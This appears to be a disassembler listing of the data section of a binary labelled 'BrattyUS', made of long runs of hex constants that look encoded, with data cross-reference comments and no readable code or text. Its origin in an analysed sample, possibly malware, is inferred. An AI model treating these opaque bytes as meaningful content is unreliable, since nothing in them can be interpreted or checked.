		dd 392D945Ah, 2E819000h, 945CD1A4h, 91905A85h, 94589458h
		dd 5A85B9D9h, 0D1945891h, 0D43A945Ah, 1889D038h, 0D1D3D1C8h
		dd 945AD3B9h, 89D0BB39h, 0D19003A1h, 0A9B9A42Eh, 29945852h
		dd 5870BD3Ah, 0CB3A3194h, 0E274A45Bh, 2E182E2Eh, 0D1D5E288h
		dd 0ED5458D1h, 58642ED1h, 5458F554h, 0F95458E9h, 58E55458h
		dd 5AC3FD54h, 545AC354h, 0C3545AC3h, 255545Ah, 9002A590h
		dd 0B5D1D1CFh, 0D1CF9002h, 900295D1h, 0D12E2E2Bh, 545B545Ch
		dd 0D1D07601h, 0B92D9458h, 2ED10231h, 0D076B9A4h, 0C3D17452h
		dd 802E545Ah, 0D1BBD1D9h, 0C3C1642Eh, 802E545Ah, 945ADDD9h
		dd 0D191D2B9h, 0D1BB5AD1h, 799B9BBh, 0DDC1642Eh, 5AC3945Ah
		dd 0D9802E54h, 0D2D1D1DBh, 0D1D1D191h, 945AD0BBh, 909138D4h
		dd 5AC352D1h, 0D9802E54h, 0D191D2B9h, 99B9545Ch, 5AD1D107h
		dd 0CD91D2B9h, 5AD0D1D1h, 545AC354h, 0B9D9802Eh, 545891D2h
		dd 799B9C5h, 0CAD191D2h, 5AD0D1D1h, 91D2B954h, 0B9DD5458h
		dd 0D1C60799h, 0C5545AD1h, 0D1900ED1h, 7D1900Eh, 54D19090h
		dd 2DD5545Ch, 11549055h, 5C8191A5h, 5190552Dh, 545AD1F1h
		dd 0DC42EE9h, 0A45AF9A5h, 11545AF9h, 0D1F151A5h, 91A51154h
		dd 49D8191h, 0A5115490h, 5AD1F151h, 545C5C21h, 54D19071h
		dd 54DE1154h, 0F151A511h, 0A41154D1h, 5CA41154h, 2E2ED554h
		dd 90049D52h, 91A51154h, 49D5C81h, 0D1F15190h, 2E545AC3h
		dd 5AC3D980h, 0D9802E54h, 0C3945ADDh, 802E545Ah, 13188FD9h
		dd 0D552803Dh, 7892E2Eh, 2E2EEB90h, 54D1D5D1h, 1154A411h
		dd 0D3D1C8A4h, 0C8D1D1D3h, 0D1D0D3D1h, 6C5291D1h, 52ED6C52h
		dd 6C52256Ch, 2D6C5229h, 2E99642Eh, 16DD882Eh, 5416DD54h
		dd 2E5416DDh, 803D882Eh, 2E2ED0B9h, 0E690065Dh,	5A822E2Eh
		dd 0AC523D94h, 0D0A42ECCh, 67D3889h, 2E2E2E90h,	0D952B93Ah
		dd 973A9009h, 9009AD52h, 1152F53Ah, 0D33A9009h,	0D27AB9E2h
		dd 2ED3BBD2h, 54166564h, 0D1BBD169h, 0A3D1D1D0h, 5CD1D190h
		dd 0E288EE54h, 5C4D545Ch, 54586554h, 6D545A49h,	0A3795458h
		dd 0D838D190h, 855458D5h, 0C7545AC7h, 0C42E545Ah, 0E9C42EE9h
		dd 5A2D945Ah, 945A2D94h, 3AD3AD2Dh, 2E2CFF38h, 545CE9C4h
		dd 0E9C42E81h, 899D545Ch, 5AB5900Bh, 2E2EC590h,	18905AB5h
		dd 9458D513h, 2994582Dh, 81D5A039h, 9458A42Eh, 89D0BB2Dh
		dd 5880803Dh, 2ED12D94h, 299458A4h, 5AA42ED1h, 2E3D2994h
		dd 0E2D33AA4h, 58E2D33Ah, 5886D1F4h, 0E42ED1B4h, 0D166B9D1h
		dd 0B9D1D1BBh, 0D9143959h, 0DDD1BBD1h, 0C1BBC42Eh, 2639D1B9h
		dd 0D1B9C1BBh, 0C839BD39h, 0D1D0D54Ah, 0D1C42ED1h, 5138900Eh
		dd 0ED1B9D1h, 3A903A2Dh, 0FCA45A93h, 903A2D5Ah,	0C12DB988h
		dd 0D1D0903Ch, 0D1D3D3D1h, 54D1BBD1h, 0FADA411h, 5ADC3A90h
		dd 0D1900FFDh, 0C42E5E39h, 39D185h, 8AD1DC58h, 0D1901218h
		dd 3850C52Eh, 5AF59D5Ah, 22265A19h, 0DFA3D95Ah,	1395FAD9h
		dd 955AD1C1h, 0F59D5AF5h, 265A195Ah, 0A3D95A22h, 0E29FD0D6h
		dd 96D1C113h, 5A96855Ah, 0D6A3D985h, 8FE29FD0h,	0D190138Eh
		dd 2ED1902Eh, 902ED190h, 1D122ED1h, 1DD1902Eh, 715A803Dh
		dd 0A42E900Fh, 0DD802EC1h, 0D12ED95Ah, 52D5C42Eh, 90A269B4h
		dd 2EAD51DCh, 0D1D1D580h, 0D5802ED1h, 12D9802Eh, 0D190F42Eh
		dd 2E2E3A2Eh
		db 3Ah,	2 dup(2Eh)
a______z__A__bX	db '......Z..\..X..&ѠѠѠ..<......Z....R'
					; DATA XREF: BrattyUS:003DF43Co
		db '..Rшѹ..',0
a__		db '..',0
		dw 2E2Eh
		dd 392E2ED1h, 1D1D10Eh,	0D10A2E2Eh, 222E2ED1h, 0A1D190A1h
		dd 0D1D1D190h, 88D1D188h, 0D3D1D1D1h, 90A1D1D1h, 0D190A1D1h
		dd 26D19032h, 90A02E2Eh, 0D1D1C5D1h, 0A0BF5459h, 0D190D190h
		dd 882E2E54h, 8ED1D159h, 58088A8Fh, 882E2E94h, 2E882E2Eh
		dd 2EE8812Eh, 2E2EAB2Eh, 0D42E2EA6h, 2E61D1D1h,	0D1D19B2Eh
		dd 5AD1D199h, 2E2E3D94h, 0D1903A88h, 2ED1D1D0h,	2E2E2E2Eh
		dd 2E2E2E52h, 0A12E2E9Ch, 2E2ED190h, 512E2E81h,	2E812E2Eh
		dd 2E2E2E2Eh, 812E2E52h, 2ED190A1h, 2E2E812Eh, 2E2E2E81h
		dd 0DE812E2Eh, 2E2ED1D1h, 0D190A081h, 2E812E2Eh, 2E2E812Eh
		dd 0D1D1C381h, 0FBD190A1h, 0F42E2E2Eh, 1D1D1DA1h
byte_3FF7EC	db 90h			; DATA XREF: BrattyUS:003DF440o
		db 0D1h, 58h, 90h
		dd 0D19054D1h, 0E8D19038h, 102E2E2Eh, 0A510EFA5h, 54DE10F0h
		dd 10FCA510h, 0D085D3A5h, 5AD190D9h, 90D33AD3h,	0D19054D1h
		dd 54D19081h, 9038D190h, 3AD338D1h, 0D190A3C7h,	0A380D190h
		dd 0D190D190h, 2A355480h, 0A391545Ah, 0D190D190h, 5AD19081h
		dd 9069D190h, 0D19069D1h, 0B7D19058h, 9069D190h, 2ED569D1h
		dd 58D190C4h, 9069D190h, 0D19069D1h, 69D19069h,	9069D190h
		dd 0D19058D1h, 0E2D19018h, 9052D190h, 5AC152D1h, 0C42EC954h
		dd 0D958D190h, 0D55952DEh, 0D54795D9h, 0D9545AFEh, 0D55952DEh
		dd 0D54795D9h, 2ED9D559h, 0D1902E2Eh, 52DED958h, 95D9D559h
		dd 5AFED547h, 945ACC54h, 0D9945ADDh, 2ED5945Ah,	58D190C4h
		dd 0C9945AC1h, 0D190A42Eh, 58D190ECh, 0C9945AC1h, 0D190642Eh
		dd 260954ECh, 54545AC8h, 5AF12609h, 52D19054h, 8F260954h
		dd 5AF8545Ah, 0B9D19054h, 908CD190h, 0D19058D1h, 52D19052h
		dd 942E2E2Eh, 2954A4D9h, 545AC73Eh, 0CC3E2954h,	0D0C4545Ah
		dd 58D190D1h, 3F52D190h, 2E3F2E2Eh, 58D1902Eh, 32945ACBh
		dd 39D5D190h, 0E8D190C0h, 906738D4h, 945C54D1h,	52D19021h
		dd 4781D190h, 0D190D1D1h, 0BBD19081h, 9018D190h, 0D190DED1h
		dd 0F1642E81h, 1038D190h, 0A410C7A5h, 2E2E2EF0h, 0A5D9A42Eh
		dd 0D13D5ADEh, 9416DAD1h, 0DA9416DAh, 52D99416h, 26D190B4h
		dd 9026D190h, 90435CD1h, 54D190D1h, 9054D190h, 2E2E52D1h
		dd 6C50C12Eh, 0A3642EDFh, 5AC1D190h, 0C42EC954h, 9080D190h
		dd 0D1903AD1h, 52D19052h, 9052D190h, 0AC52E2D1h, 0E2D19025h
		dd 90FAD190h, 9045B9D1h, 0A4D994D1h, 90C42ED9h,	5AFCB9D1h
		dd 2E2E2F94h, 0D2545AA2h, 0D190D1D1h, 2ED1902Eh, 908CD190h
		dd 0D19072D1h, 72D19072h, 9458D190h, 0CD54DE29h, 545ADD2Ch
		dd 542CF554h, 0D1902CC9h, 0D1D1D052h, 0D5FF39D5h, 0D190D5B9h
		dd 945AD981h, 0D5545CD5h, 5CD5545Ch, 38D19054h,	9054D190h
		dd 0D19038D1h, 945AC5BBh, 0DD945AC1h, 5AD9945Ah, 545CD594h
		dd 0D98239D5h, 5CD5945Ah, 945AD954h, 0DD545CD5h, 5AD9945Ah
		dd 545CD594h, 0D5945AD9h, 0B9D5545Ch, 0D3B9D5D0h, 0D5D139D5h
		dd 5CD5545Ch, 545CD554h, 0C1945AC5h, 5ADD945Ah,	945AD994h
		dd 0D5545CD5h, 0B9D59939h, 945AC5C1h, 0DD945AC1h, 5AD9945Ah
		dd 545CD594h, 0D54739D5h, 39D5BC39h, 5039D5B9h,	0D50C39D5h
		dd 39D5C9B9h, 545CD5C5h, 0D5DD39D5h, 5CD5545Ch,	945AC154h
		dd 0D9945ADDh, 5CD5945Ah, 945AD954h, 0D5545CD5h, 0B9D559B9h
		dd 61B9D501h, 0D98839D5h, 39D5945Ah, 945AD9D3h,	0D5E239D5h
		dd 39D57839h, 0EDB9D531h, 0D55AD190h, 5CD5545Ch, 945ADD54h
		dd 0D5945AD9h, 0D1D0A039h, 545AC1D1h, 0D5C42EC9h, 0B9D5642Eh
		dd 545AC101h, 0D5C42EC9h, 39D501B9h, 0F839D5EEh, 4D6B39D5h
		dd 2E4D2E2Eh, 0B1B9D52Eh, 9095B9D5h, 0D190B7D1h, 2ED19058h
		dd 0DD5AD190h, 5AD9945Ah, 545CD594h, 54CE39D5h,	38D44DE9h
		dd 7E39D52Ch, 0D549B9D9h, 0B9D9AB39h, 2E2E2DC9h, 542F8954h
		dd 89542F89h, 2F89542Fh, 5411E2D5h, 0E2D52F89h,	2F895411h
		dd 90B339DCh, 0D19058D1h, 0BDB9D558h, 0D56C39D5h, 39D57339h
		dd 9C39DD56h, 0F1F739C1h, 39C94639h, 945AF144h,	0DD545CCDh
		dd 39DD3239h, 0A839DDE6h, 90C42EDDh, 39D554D1h,	2E2E2DE6h
		dd 905416DBh, 2E2D52D1h, 0EE39D52Eh, 0D91C39D5h, 2E2A545Ch
		dd 2E2E2A2Eh, 0D52539D5h, 39DD1F39h, 0F739D50Bh, 0C59139D5h
		dd 0B9DD945Ah, 2339D5F9h, 2E2E2E2Eh, 39D52E2Eh,	2E2E2E75h
		dd 2 dup(2E2E2E2Eh), 4939D92Eh,	0DD2E2E2Eh, 0B9DDED39h
		dd 0C5945AC9h, 0DD1839DDh, 39DD6939h, 1F39DD4Dh, 3F2E2E2Eh
		dd 2E3F2E2Eh, 945ADD2Eh, 5A11E2D6h, 25942D94h, 3852D2A2h
		dd 0E7D1D1A8h, 5856A42Eh, 6F6E6D94h, 90B9D190h,	0D190B9D1h
		dd 8639EF18h, 0EF2239EFh, 0D190C42Eh, 945AFBBBh, 0EFD1D1B2h
		dd 39EF7539h, 0C42EEF91h, 0FB18D190h, 39EF945Ah, 0B139EF2Ah
		dd 0EF6A39EFh, 39EFF139h, 3139EFAAh, 0EFF039EFh, 39EF5739h
		dd 9839EF35h, 0EF7539EFh, 2E26D839h, 0AA39EF2Eh, 0D08739EFh
		dd 90C0D1D1h, 58D190D1h, 90B7D190h, 0D190BBD1h,	2ED19052h
		dd 54545AC8h, 75542F29h, 545AF125h, 90238954h, 0D19081D1h
		dd 11E2D52Eh, 2F11E2D6h, 2E2F2E2Eh, 2E2E2F2Eh, 0D2E2E2Fh
		dd 65542E2Eh, 545ACD2Ch, 902C0F54h, 2154B9D1h, 545AC726h
		dd 0CC262154h, 0D190545Ah, 2E2E2B58h, 90B9D190h, 0D190B9D1h
		dd 0D190A358h, 0FFAC50D8h, 2E2AD1D1h, 2E2E2A2Eh, 0F52E2E2Ah
		dd 0AF10545Ch, 0D4AE10D4h, 0F2D190A3h, 0D190D1D1h, 0B9D19058h
		dd 2F2E2E2Fh, 0F5542E2Eh, 2BF5542Bh, 542BF554h,	2E2F2BF5h
		dd 52DE102Eh, 9C203954h, 3954545Ah, 0B9D19020h,	902E2E27h
		dd 0D19054D1h, 54D19052h, 0DCDED190h, 0D190D1D1h, 2ED19058h
		dd 9052D190h, 0D1902ED1h, 0A238D42Eh, 10EF38D4h, 0A410C7A4h
		dd 2E2E2FC7h, 89398554h, 2EDD945Ah, 81D190C4h, 90C42EC1h
		dd 0B9B481D1h, 2ED19051h, 90B9D190h, 0D19054D1h, 2ED1902Eh
		dd 902ED190h, 0D1902ED1h, 2ED1902Eh, 902ED190h,	0D1901DD1h
		dd 2ED1902Eh, 902ED190h, 0D1902ED1h, 19FA3D1Dh,	0DF85EADFh
		dd 0EADF85EAh, 2ED19085h, 902ED190h, 0D1902ED1h, 2ED1902Eh
		dd 901DD190h, 0D19054D1h, 54D190A5h, 902ED190h,	0D19087D1h
		dd 38D1901Dh
dword_3FFDBC	dd 0FA0900h, 0F300F6CBh, 0C57400EEh, 0D2F400h, 3A00B079h
					; DATA XREF: BrattyUS:003DF444o
		dd 201100B2h, 252000h, 500495Eh, 712D00C2h, 72AF00h, 0A4007402h
		dd 0CE2D006Fh, 0CE3300h, 15007EB7h, 30270028h, 386D00h
		dd 30038EAh, 0E6CE0039h
		db 0, 9Fh, 0F3h
byte_3FFE07	db 7Bh			; DATA XREF: BrattyUS:003DF448o
		dd 2BC8A1D3h, 5400A4FFh, 0B4CF6100h, 65010000h,	6FA2FAFh
		dd 2A994FCEh, 72001C07h, 7BFF0F00h, 83FE3FB0h, 42030427h
		dd 0B608BE71h, 60003600h, 0D8004C00h, 5B20E400h, 0A2A923F7h
		dd 8A4A82C7h, 0DF00320Bh, 0ED0012FCh, 0BF9F79FFh, 867B1771h
		dd 6B2E7EAh, 0D2FFF1C7h, 0F1001E00h, 0BA0016FFh, 0C00180Ch
		db 1, 58h, 0E5h
byte_3FFE6F	db 2Ch			; DATA XREF: BrattyUS:003DF44Co
		dd 3952745Ch, 51D1DD38h, 0D588512Eh, 512F5152h,	8C89D15Ah
		dd 0A45D882Ch, 0F12C2EA1h, 0D28988D2h, 0D138D12Ch, 5A58D1D1h
		dd 0D194D152h, 0DDD45052h, 0BD84D1D1h, 2E54D1D1h, 5C81D1E2h
		dd 0BB54542Dh, 0E22E540Eh, 0D1D1D152h, 2E054DD1h, 0D25494A4h
		dd 0D1D1D1D1h, 2EC52D53h, 0D18884D1h, 2BD12B2Bh, 0C158D3E2h
		dd 39E83858h, 26882B39h, 0BB715454h, 71D10ED1h,	0D1882627h
		dd 2E882726h, 28D18181h, 2E268839h, 2697545Ah, 0D1DDE226h
		dd 0DDD15888h, 0D1D0C9D0h, 1DC1D1D0h, 2E15D1D0h, 2A2A312Ah
		dd 882A2A2Ah, 0F13D2135h, 642A2AD1h, 0D13288F9h, 0D1D48831h
		dd 0A1541D2Ch, 28382891h, 28285428h, 2854D190h,	29D1D128h
		dd 0ED52D1CDh, 28D02C2Ch, 28282828h, 5CC1C528h,	0BB54BB1Dh
		dd 0DEEE54D1h, 0BBD1D18Eh, 0C1D0D1D1h, 0D1D1D158h, 21D1523Dh
		dd 21215021h, 0D13A3A21h, 0D129D194h, 0C188D1D1h, 78E5C1F6h
		dd 0D3D05C2Eh, 52015AA3h, 0E5395252h, 0D05CBBBBh, 9C5AE9D3h
		dd 9C9C9C9Ch, 39BA849Ch, 0D1F1CD5Ah, 0BBD3B9F6h, 0D1D1C5A3h
		dd 0D1A7A352h, 0A3D1A7D1h, 5AD1A7D0h, 0A73AA32Ah, 585AD4D1h
		dd 0D1D158D1h, 2 dup(0D1D1D1D1h), 72D17258h, 72D172D1h
		dd 0D1D158D1h, 587258D1h, 3F85C372h, 0D1885E3Fh, 0D19909D1h
		dd 3C58D154h, 88D12190h, 0D1D1133Fh, 0D9B4D1D1h, 0DAD194DDh
		dd 5AD15AD1h, 0D12E5AD1h, 0D5BBD088h, 0D111D2D9h, 69522939h
		dd 0B518D129h, 84B9B9F1h, 3DA8ACC9h, 0D1D1D152h, 0D181F118h
		dd 12D15254h, 0A35212D1h, 0D0A312D0h, 0CEB92E12h, 8815EDE3h
		dd 9D05C5Ah, 2E2E19C3h,	0D25A2E52h, 18529152h, 0E2B55179h
		dd 0B150B158h, 0E28952D1h, 3AACB458h, 5A585A39h, 3D1F5AD0h
		dd 5A2E9452h, 3131D92Dh, 3854815Ch, 5A2E522Eh, 0D195E2A4h
		dd 545C3131h, 0F5582E38h, 6409262Eh, 2EE25A26h,	0D1ACC12Eh
		dd 0D158DD94h, 0E21E3DA4h, 3989FDD1h, 5C8859D1h, 5CA3D3D0h
		dd 58525A58h, 0D1795454h, 812ED181h, 81818181h,	8181D0D2h
		dd 0D2818181h, 0BBD181D0h, 0D1813911h, 0D0D2A588h, 81391181h
		dd 0D0D25B11h, 81D16539h, 2ED181D1h, 81818181h,	81D0D281h
		dd 81818181h, 0D181D0D2h, 391181BBh, 0D25B1181h, 813911D0h
		dd 0D0D281D1h, 21A33D81h, 0D13D3D81h, 6C587DC4h, 0D152DD88h
		dd 58D1C1D1h, 52D15A58h, 5B589080h, 0F3AD5B5Bh,	0A49012C1h
		dd 0D0D1D13Dh, 0D05AD152h, 5AD1A4D1h, 5409B4D1h, 0D1D15A2Fh
		dd 52D1D058h, 84E8D194h, 15762E50h, 2E2E2DD1h, 52355AD1h
		dd 522E3535h, 0D2B4292Eh, 0BF5D2D2h, 54D15A5Ah,	2CD0D1D0h
		dd 2C2C5C45h, 3D2AD115h, 882E31D1h, 0CB9D1DDh, 88D1882Fh
		dd 0B9D1DD29h, 2F522D88h, 0D1F13A29h, 51BB51B9h, 0D12E8158h
		dd 2F815891h, 0D12DD92Eh, 2F5CD1D1h, 94DD2E29h,	0F95DD1D9h
		dd 0D1593931h, 0BB88B916h, 2E5881B9h, 0BB2E2DD1h, 0B9B9D0D1h
		dd 0DE2D2C88h, 0D1B92D2Ch, 54390000h, 5C39D190h, 0AD39BB2Dh
		dd 0B9D1DDBBh, 2F882F2Fh, 852E2C28h, 8DA32E3Ah,	0F15C58D1h
		dd 0D1E1D1D1h, 0E12B15D1h, 0C115E188h, 58C1CD58h, 88884DC9h
		dd 0D12F2F2Fh, 88D12F2Fh, 0D194132Fh, 52D126D1h, 0D121C1C1h
		dd 0DED925D1h, 0C110DD91h, 0D65AD1A4h, 5A292929h, 0D91298DDh
		dd 52DD5252h, 0D2D15AD9h, 94D9545Ah, 5AD15A16h,	52BBD2B4h
		dd 52525252h, 91D92094h, 182EDE88h, 81818195h, 318135D1h
		dd 8194D181h, 5AC19081h, 5851692Dh, 0D1718486h,	94522D29h
		dd 52529452h, 0F6D5CE52h, 5A88D081h, 2A2B1116h,	2A2A2A2Ah
		dd 25252A2Ah, 2951D16Dh, 0D113D129h, 81D18852h,	58D13354h
		dd 395A20D1h, 312A312Dh, 2CA4D12Dh, 26885031h, 39D154B9h
		dd 0A5420E90h, 35494D2Eh, 0D1242424h, 0D188D113h, 88D12E5Ch
		dd 0F9E1587Ah, 7490D105h, 2A452F09h, 8876D5D1h,	0B0BA1D1h
		dd 0BA1842Eh, 8A1C908h,	51112E08h, 54D15A32h, 0D152D1D9h
		dd 0D1A4DDD5h, 0D1D112DAh, 0D1D1D939h, 5290C5D5h, 52E2D1D1h
		dd 0B958B8D1h, 70DDDD11h, 18DFD011h, 0D9D91132h, 2DC15AD1h
		dd 52D12E88h, 11D12990h, 11D04DBDh, 29D1D12Dh, 0D1D188D1h
		dd 0D1D0D090h, 0D0903211h, 0D179B5D1h, 0D17F4588h, 0D1D1D0D1h
		dd 7238B9D0h, 51BBD8B9h, 0D98CD98Ch, 588484D9h,	25D15C27h
		dd 585A945Ah, 7288D121h, 894489B9h, 0EC318944h,	252C9158h
		dd 542CEF2Ch, 90D1D1D1h, 0C1D158D0h, 0D888C1C1h, 3AC988C5h
		dd 5AC0A42Eh, 0A4D1D13Dh, 0D1D16447h, 0ACD13888h, 0B9D1D1D1h
		dd 0D1D12DD1h, 0D9DED1D1h, 2ED191D1h, 0DE11D9D1h, 3A542FD9h
		dd 0D1D9DED5h, 94D9D191h, 0D12ED191h, 0D9DE11D9h, 0D53A542Fh
		dd 2D5A94D0h, 0AC5A915Ah, 5C585AB4h, 0D1B0C358h, 54ECD1CFh
		dd 55F1D13Dh, 2ACDFF4Fh, 0CD55D12Ah, 0D1292929h, 55C3D1C8h
		dd 0D951D1C5h, 0C7C05CD9h, 8D8D80D1h, 24D855C3h, 0E324C9CDh
		dd 0F1C0C4F3h, 0E6F1F7F1h, 0C05A8888h, 0CFC3CDCDh, 0C4FBD1C8h
		dd 0D19FC3E3h, 55E3D1D1h, 0D174D15Ah, 0D1D1D174h, 74D15AACh
		dd 0EAD174D1h, 0D1C8C0C1h, 0C8D1C8C0h, 0F0F1FDD1h, 9052BE3Fh
		dd 5A9C52D1h, 0FE93D1F4h, 0D1FED15Ah, 5ADDA4CEh, 0FBD1F4C3h
		dd 8388C1C4h, 29D1BB5Dh, 905AEA8Dh, 0D1C8C4DBh,	0FBC4D1C8h
		dd 0BB545A55h, 5A553AD1h, 5AD1BB54h, 4DD6555Ah,	2E4D4D4Dh
		dd 0E9D15C55h, 50B1BB4Dh, 0F7F4C490h, 0C3C4C3C4h, 0C3D14D9Ch
		dd 4A4A55C8h, 4A4A4A4Ah, 0C3902DB6h, 503AD918h,	3DD1D12Ch
		dd 0D121B95Ah, 38D12FC5h, 0DED1A455h, 0DC90DCD1h, 0A4DC9058h
		dd 0D1C85552h, 90DCD1DEh, 0DC9058DCh, 0C4D154DCh, 0C4D1C4D1h
		dd 0C3D1C3C3h, 2E2B6390h, 2E5288D1h, 0D9802DB9h, 0D101D1D1h
		dd 0D1D1D1D1h, 293861D1h, 0C96988D1h, 90903661h, 0D12F8118h
		dd 54D19088h, 0D1A5D4D1h, 2ED12F88h, 8B2C110Dh,	114E5205h
		dd 9059D188h, 818151A9h, 12D151D1h, 0D1888851h,	393B90D1h
		dd 0D15CD188h, 0D1D13E3Eh, 52D13E88h, 0D1D152D1h, 3E905C58h
		dd 0D1C1153Eh, 0DD3E88D1h, 0BBD1BB11h, 392EB9D1h, 0D2D2BBD2h
		dd 0D1D1A4D1h, 0D1D4B9D4h, 54D15454h, 2F90D1C5h, 0D12C2C5Ch
		dd 0C4D1EFC7h, 54D1D1DDh, 418B2D2Eh, 0D1D18852h, 29988DD1h
		dd 0C554D1D1h, 90D19DD1h, 54D1EAD1h, 0D1D1D154h, 54D1D1C1h
		dd 0D1D1D12Bh, 0D1D1D154h, 0D73EC5EBh, 2B0DC954h, 0C9DE95C1h
		dd 5471D194h, 0A438D1D1h, 0E9D15858h, 58EAD158h, 29E55858h
		dd 5AD88888h, 542E2C2Eh, 0F9F9D152h, 0DDD1E029h, 0C920F554h
		dd 6CD1DDA5h, 54CBD1D1h, 513F3F3Fh, 5ABD5455h, 0A288358Fh
		dd 0A2D55AD3h, 0D7D35AD5h, 383ADD5Ah, 5A2D2D2Dh, 2E1AA509h
		dd 848B55D1h, 8C1030B0h, 49D17989h, 3384D3BBh, 0D2D25A33h
		dd 0D2523A5Ah, 0FA5A5A5Ah, 2D523A2Dh, 585A5AD9h, 5ADD1594h
		dd 0BB5ADD91h, 2D2EDDA4h, 58212D94h, 25945A94h,	2D2D5858h
		dd 52585A29h, 2ED1B4DDh, 0DE2D2ED1h, 21212121h,	0B6212121h
		dd 2101010h, 2E8A1002h,	8C13DD21h, 2E2F8A86h, 0D084D184h
		dd 5A5A9484h, 58523A5Ah, 895A595Ah, 843AD179h, 2DEA2DEAh
		dd 0D4C1D439h, 15D1882Eh, 15151515h, 0D439D315h, 60D1522Eh
		dd 15D125DDh, 9C521562h, 0D1BB5AB4h, 0D1C19C88h, 0BB882C29h
		dd 0D12BD15Ah, 0D1312E55h, 99D1D154h, 522B9A2Bh, 902B902Eh
		dd 522B902Bh, 2B902B90h, 3D90D155h, 69552BD1h, 552B2B2Bh
		dd 7DD1652Bh, 2BD12ED1h, 55522B88h, 2BD1882Bh, 2BED5279h
		dd 0D1522BD1h, 0D6D15C88h, 0D32F2FD1h
		dd 2FD1D6D1h, 88D5D1D3h, 0EDD13950h, 882F8852h,	5B8CD92Fh
		dd 522D90B9h, 5C8888D1h, 2E588881h, 25882FD1h, 8858FD5Ch
		dd 3AB95223h, 2F2338A1h, 8852BD52h, 0D1D1233Ah,	0D1E25AB9h
		dd 2DD188D1h, 0DED95A52h, 3863C13Ah, 0A35ADD38h, 2EDDD1ACh
		dd 525A2525h, 642F3988h, 525D1D0h, 0A9D12188h, 0C6D152D1h
		dd 5A5AD5B4h, 3951BA69h, 2EC22F88h, 0D1D952D1h,	0C56561D3h
		dd 3921261Eh, 528C2988h, 5281D169h, 2FD19DD1h, 5A88DD64h
		dd 0B92EBBD1h, 51695A29h, 1FF11815h, 0F3D1BBD6h, 9E5CD152h
		dd 3838D19Eh, 0D11F382Eh, 26892626h, 89263A26h,	0D19D3A26h
		dd 8123C22Fh, 0D1946C90h, 9039EAD1h, 816C2F2Fh,	79D1B52Fh
		dd 2DA42828h, 0BB2CBBEEh, 0D12EB528h, 0D329D058h, 2DE32835h
		dd 28D0D12Eh, 2954DF9Dh, 0D135D12Dh, 81D1D1C1h,	0C93AA409h
		dd 2E88213Ah, 0E129D1D1h, 2D2AA9D1h, 88462A85h,	8888522Eh
		dd 0ACE1A990h, 0D1D188D1h, 2D2CD152h, 2DD1882Ch, 90762D51h
		dd 0C194882Dh, 2E2E5A2Eh, 8888D12Eh, 942CE5D1h,	0D18854D3h
		dd 0C188D195h, 0C9D152D1h, 9D05221h, 2DD1DED1h,	0DDD12152h
		dd 0DDDD905Ch, 0D1D1128Ah, 0D9D13852h, 58495290h, 12119452h
		dd 74395A11h, 2B2B992Dh, 0E92B2B2Bh, 0D1FDE5F9h, 52D152D1h
		dd 2D0988D1h, 9052D139h, 0D127D12Dh, 0D125BB52h, 54D1215Ah
		dd 212590D1h, 0E15A5AD1h, 0A921D151h, 52D915D8h, 549021D1h
		dd 3DD9BBD1h, 9021D152h, 0D13DBB51h, 20889021h,	11D1D1D1h
		dd 54E9D127h, 21395AD1h, 0B95454A0h, 5CF5B9C7h,	54B9C7D1h
		dd 0C7541121h, 2781B6BBh, 0E9D11539h, 395AD154h, 38D9383Dh
		dd 0D12139E1h, 88ECD55Ah, 0D18852D1h, 3939BB2Eh, 0D1DB39DBh
		dd 2151D151h, 2A2A2A2Bh, 0FDE5E22Bh, 8876E2F9h,	0C52D52D1h
		dd 52D15BC5h, 0D1ACD1ACh, 0D111D1ACh, 0BB3E3E2Eh, 11255249h
		dd 3E3C3F3Ch, 39D1583Ch, 0A3A33535h, 69D2D2D2h,	0A336A32Eh
		dd 52D1D137h, 3A52D1D1h, 3A522DD1h, 0BB2D52B9h,	11D9912Dh
		dd 3939D111h, 2ED2D152h, 0B52E2E0Fh, 29522939h,	5DD12E55h
		dd 0D190D1D1h, 3AD15454h, 0BBD188D1h, 0D154D1EAh, 0D1D1A3B8h
		dd 0A0D1F42Eh, 0EA198DC1h, 0C5C91DF5h, 3EA218Dh, 0F5F51D2Eh
		dd 0F4C103EAh, 0F4F4F4F4h, 5AD1941Dh, 2D19805Ah, 275AF5D1h
		dd 0F4115A5Ah
		db 2 dup(12h)
word_4008FA	dw 1154h		; DATA XREF: BrattyUS:003DF450o
		dd 5A5AD503h, 3A5A165Ah, 113A94A4h, 41EF112Eh, 980095Ah
		dd 9282E80h, 0EDEE942Eh, 0EEF75894h, 969654CDh,	94969696h
		dd 29291112h, 0C1948925h, 78B5A4D1h, 5CD1A4D1h,	0A4D1DC54h
		dd 2D2D3D89h, 52D94C9h,	152D54E2h, 2E112EE2h, 6D2E2911h
		dd 9412396Dh, 0D3521919h, 392E392Eh, 81295488h,	0D13D5481h
		dd 11D094DBh, 882EAC81h, 6612D12Eh, 5AF72B39h, 942E182Eh
		dd 21212188h, 54090921h, 6C111116h, 9212588h, 0C280890Dh
		dd 3151515h, 6BD403D1h,	4975CAB9h, 88BD812Dh, 1D1264A4h
		dd 52540509h, 2E2EED2Eh, 4EFC5A15h, 0B98DCD2Eh,	0FA11448Dh
		dd 0CDCDCDD6h, 0CDF58DCDh, 0CD8DCD8Dh, 8DCD8DCDh, 8D8CD1D1h
		dd 0CDCD8D8Dh, 608DCDCDh, 0CDCDCD3Ch, 65658DCDh, 21E062E5h
		dd 8D318D0Eh, 0CDCDCD8Dh, 0A8DCD8Dh, 0CD614B4Bh, 0CBC9CDC8h
		dd 8D544B63h, 0C5CDCD8Dh, 0D189555Ah, 4989AD49h, 5A7A7878h
		dd 58494951h, 0CD546454h, 2E748DCDh, 773E77D0h,	2E2E8120h
		dd 2E3A2E2Eh, 94482E3Ah, 47477094h, 40474747h, 4569C540h
		dd 11D94542h, 6C498145h, 9D404381h, 41418181h, 0C95F415Dh
		dd 52165C4Eh, 3916165Ch, 5B2E5BBBh, 54542E3Eh, 5A2E5454h
		dd 91382D5Ah, 2952F1CFh, 69615821h, 999C9C12h, 9952D9D6h
		dd 0D9129998h, 99969996h, 96969696h, 96979697h,	0B9949481h
		dd 0C1585439h, 2E496429h, 5C2E492Eh, 91383A64h,	885CEA5Ah
		dd 392E612Eh, 752E752Eh, 39398894h, 88258094h, 99D1D152h
		dd 52803838h, 0D1598D94h, 2E2E2E2Eh, 0C92E58B9h, 115B352Eh
		dd 886F1174h, 64296454h, 5A2E2E64h, 2D2E2E5Ah, 5CCD5CCDh
		dd 116B64D0h, 0F4F4F4F4h, 1DF4F4F4h, 0F4F4F4F4h, 0F5F55A1Dh
